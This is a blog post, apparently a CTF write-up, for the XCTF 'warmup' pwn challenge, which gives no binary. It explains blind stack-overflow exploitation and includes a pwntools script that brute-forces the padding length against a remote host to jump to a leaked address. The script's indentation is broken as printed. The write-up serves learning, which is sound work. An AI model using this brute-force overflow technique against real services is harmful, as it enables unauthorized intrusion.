攻防世界pwn题:warmup

0x00:前言

这道题是盲打题,就是没有给附件,只给了远程环境。

但这道题并不难,由于这种形式少见,所以我就在这里记录一下。

下面看看我的做题思路吧~

 

0x01:做题思路

1、初览

 

 

 题目并没有给附件,这时候就可以做好盲打的准备了。

 

2、连接远程并分析

用nc连接一下远程:

 

 

给了一个地址,0x40060d,看地址是个64位的程序。给了一个地址,大胆猜测是get_shell或者是cat_flag相关的。然后我们可以操作的是输入数据,回车也没有任何返回值,这也可以排除格式化字符串漏洞。我们可以先考虑最简单的栈溢出。

 

3、编写exp

from pwn import *
sys = 0x40060d

for i in range(100):
print(i)
try:
  io = remote("111.200.241.244",53599)
  payload = b'A'*i + p64(sys)
  io.recvuntil(">")
  io.sendline(payload)
  print(io.recv())
  io.interactive()
except:
  io.close()

 

099依次尝试,判断溢出所需长度。

在长度为72时,打印出了flag

 

 

注意,这里要用try……except结构处理异常,不然就会报错导致退出执行:

 

 


 

tolele

2022-07-02

 

posted @ 2022-07-02 20:04  tolele  阅读(623)  评论(0编辑  收藏  举报